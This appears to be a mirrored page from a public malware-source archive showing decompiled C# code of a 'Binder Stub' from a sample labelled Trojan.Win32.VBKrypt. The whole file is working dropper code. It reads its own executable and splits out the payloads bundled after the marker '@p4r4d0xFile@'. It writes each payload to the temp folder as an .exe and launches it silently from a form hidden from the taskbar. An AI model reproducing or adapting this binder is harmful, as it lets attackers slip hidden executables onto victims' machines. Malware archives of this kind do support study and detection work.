mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
88 lines
2.7 KiB
C#
88 lines
2.7 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Binder_Stub.Form1
|
|||
|
// Assembly: Binder Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 43E2AE62-0C7A-43F6-8745-1964EA1123A8
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.VBKrypt.fzvf-71724857be7cdc3b0cda6cc6d5a426fde720e3ccff6769399c5b3644c1c024c0.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace Binder_Stub
|
|||
|
{
|
|||
|
[DesignerGenerated]
|
|||
|
public class Form1 : Form
|
|||
|
{
|
|||
|
private IContainer components;
|
|||
|
private string filesplitter;
|
|||
|
private string stub;
|
|||
|
private string[] files;
|
|||
|
|
|||
|
public Form1()
|
|||
|
{
|
|||
|
this.Load += new EventHandler(this.Form1_Load);
|
|||
|
this.filesplitter = "@p4r4d0xFile@";
|
|||
|
this.InitializeComponent();
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (!disposing || this.components == null)
|
|||
|
return;
|
|||
|
this.components.Dispose();
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerStepThrough]
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
this.SuspendLayout();
|
|||
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|||
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|||
|
this.ClientSize = new Size(379, 250);
|
|||
|
this.Name = nameof (Form1);
|
|||
|
this.ShowInTaskbar = false;
|
|||
|
this.Text = nameof (Form1);
|
|||
|
this.TransparencyKey = Color.FromArgb(224, 224, 224);
|
|||
|
this.ResumeLayout(false);
|
|||
|
}
|
|||
|
|
|||
|
private void Form1_Load(object sender, EventArgs e)
|
|||
|
{
|
|||
|
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
|
|||
|
this.stub = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|||
|
FileSystem.FileGet(1, ref this.stub);
|
|||
|
FileSystem.FileClose(1);
|
|||
|
this.files = Strings.Split(this.stub, this.filesplitter);
|
|||
|
int num1 = checked (Information.UBound((Array) this.files) - 1);
|
|||
|
int index = 1;
|
|||
|
while (index <= num1)
|
|||
|
{
|
|||
|
FileSystem.FileOpen(1, Environment.GetEnvironmentVariable("temp") + "\\p4r4d0xTemp" + Conversions.ToString(index) + ".exe", OpenMode.Binary, OpenAccess.Write);
|
|||
|
FileSystem.FilePut(1, this.files[index], -1L, false);
|
|||
|
FileSystem.FileClose(1);
|
|||
|
checked { ++index; }
|
|||
|
}
|
|||
|
int num2 = checked (Information.UBound((Array) this.files) - 1);
|
|||
|
int num3 = 1;
|
|||
|
while (num3 <= num2)
|
|||
|
{
|
|||
|
Process.Start(Environment.GetEnvironmentVariable("temp") + "\\p4r4d0xTemp" + Conversions.ToString(num3) + ".exe");
|
|||
|
checked { ++num3; }
|
|||
|
}
|
|||
|
this.Close();
|
|||
|
}
|
|||
|
}
|
|||
|
}
|